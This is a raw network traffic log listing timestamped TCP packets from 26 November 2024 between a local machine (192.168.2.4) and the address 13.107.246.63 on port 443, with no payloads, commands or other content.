Nov 26, 2024 00:08:41.112010002 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.112049103 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.112117052 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.112337112 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.112349987 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.262713909 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.262765884 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.262861967 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.263084888 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.263109922 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.263124943 CET	49844	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.263129950 CET	443	49844	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.266016006 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.266061068 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.266158104 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.266305923 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.266319990 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.322803974 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.322832108 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.322880030 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.322892904 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.323091030 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.323121071 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.323133945 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.323295116 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.323339939 CET	443	49845	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.323385000 CET	49845	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.325130939 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.325155020 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:41.325212955 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.325329065 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:41.325340033 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.647202969 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.647862911 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.647890091 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.648488998 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.648493052 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.655292988 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.655576944 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.655591965 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.655944109 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.655951023 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.956943989 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.957485914 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.957519054 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:42.957969904 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:42.957974911 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087199926 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087219000 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087285042 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.087301970 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087342978 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.087505102 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.087510109 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087529898 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.087641954 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087662935 CET	443	49846	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.087707043 CET	49846	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.089943886 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.089982033 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.090054035 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.090166092 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.090178013 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.095347881 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.095366955 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.095417023 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.095432997 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.096517086 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.096673965 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.096748114 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.096765995 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.096777916 CET	49847	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.096784115 CET	443	49847	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.098557949 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.098587990 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.098654985 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.098778009 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.098787069 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.110258102 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.112823963 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.112839937 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.113224983 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.113229990 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.121834040 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.124851942 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.124865055 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.125206947 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.125211954 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.400881052 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.403796911 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.403917074 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.403989077 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.404005051 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.404036045 CET	49848	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.404041052 CET	443	49848	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.408607960 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.408670902 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.408951998 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.425074100 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.425098896 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.588794947 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.591801882 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.591886997 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.595364094 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.598428011 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.600740910 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.710639000 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.710659981 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.710741043 CET	49850	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.710747004 CET	443	49850	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.719670057 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.719670057 CET	49849	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.719686985 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.719696999 CET	443	49849	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.731618881 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.731647015 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.731776953 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.732004881 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.732013941 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.733091116 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.733139038 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:43.733206987 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.733330965 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:43.733342886 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.983319044 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.983987093 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:44.984010935 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.984636068 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:44.984639883 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.987134933 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.988157988 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:44.988173962 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:44.989384890 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:44.989388943 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.342189074 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.344814062 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.344846010 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.349375963 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.349400043 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.438272953 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.441395044 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.442691088 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.444634914 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.444634914 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.445839882 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.445863962 CET	49851	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.445878029 CET	443	49851	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.445914984 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.447621107 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.447637081 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.447638035 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.447664022 CET	49852	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.447669983 CET	443	49852	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.447757006 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.449868917 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.449872971 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.449887037 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.450139999 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.450153112 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.450193882 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.452727079 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.452743053 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.483416080 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.485613108 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.485614061 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.485652924 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.485692024 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.486321926 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.489125967 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.489125967 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.489135981 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.489155054 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.885891914 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.888896942 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.889005899 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.889097929 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.889098883 CET	49853	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.889142990 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.889156103 CET	443	49853	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.892296076 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.892349958 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.892658949 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.893315077 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.893348932 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.918235064 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.921471119 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.921561956 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.921593904 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.921897888 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.921912909 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.922138929 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.922152042 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.924504042 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.924614906 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.924932003 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.924946070 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.925020933 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.925020933 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.925026894 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.925033092 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.925131083 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.927623987 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.927625895 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.927633047 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.927651882 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:45.927735090 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.928172112 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:45.928184032 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.177819014 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.178637028 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.178649902 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.179270029 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.179274082 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.241492033 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.241996050 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.242027044 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.242594004 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.242604017 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.613086939 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.616221905 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.616303921 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.616405010 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.616419077 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.616430998 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.616436005 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.619292974 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.619328976 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.619625092 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.619824886 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.619836092 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.688010931 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.691154003 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.691216946 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.691263914 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.691287994 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.691309929 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.691323996 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.693758965 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.693787098 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.694073915 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.694246054 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.694257975 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.718604088 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.719058990 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.719068050 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.719640017 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.719645023 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.726517916 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.726896048 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.726906061 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.727375031 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.727379084 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.738425016 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.738780022 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.738791943 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:47.739278078 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:47.739284992 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.162668943 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.165709019 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.165807009 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.165899992 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.165913105 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.165927887 CET	49860	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.165932894 CET	443	49860	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.168807030 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.168823004 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.168934107 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.169089079 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.169101000 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.171354055 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.174469948 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.174510956 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.174540043 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.174593925 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.174618959 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.174618959 CET	49859	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.174632072 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.174640894 CET	443	49859	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.177189112 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.177222013 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.177476883 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.177541971 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.177563906 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.192164898 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.195266008 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.195328951 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.195367098 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.195384026 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.197590113 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.197619915 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:48.197897911 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.198040962 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:48.198052883 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.408066988 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.409881115 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.409881115 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.409903049 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.409918070 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.473591089 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.477710009 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.477710009 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.477725983 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.477740049 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.852161884 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.855397940 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.855427980 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.855463982 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.855496883 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.855586052 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.855597973 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.855628967 CET	49861	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.855633974 CET	443	49861	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.859159946 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.859199047 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.859375954 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.859463930 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.859477997 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.917355061 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.920742989 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.920878887 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.920953035 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.920953035 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.920964003 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.920970917 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.925044060 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.925071955 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.925190926 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.925523996 CET	49867	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.925534964 CET	443	49867	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.962538004 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.963041067 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.963058949 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.963880062 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.963886023 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.976917982 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.977672100 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.977679968 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:49.978231907 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:49.978235960 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:50.015940905 CET	443	49863	13.107.246.63	192.168.2.4
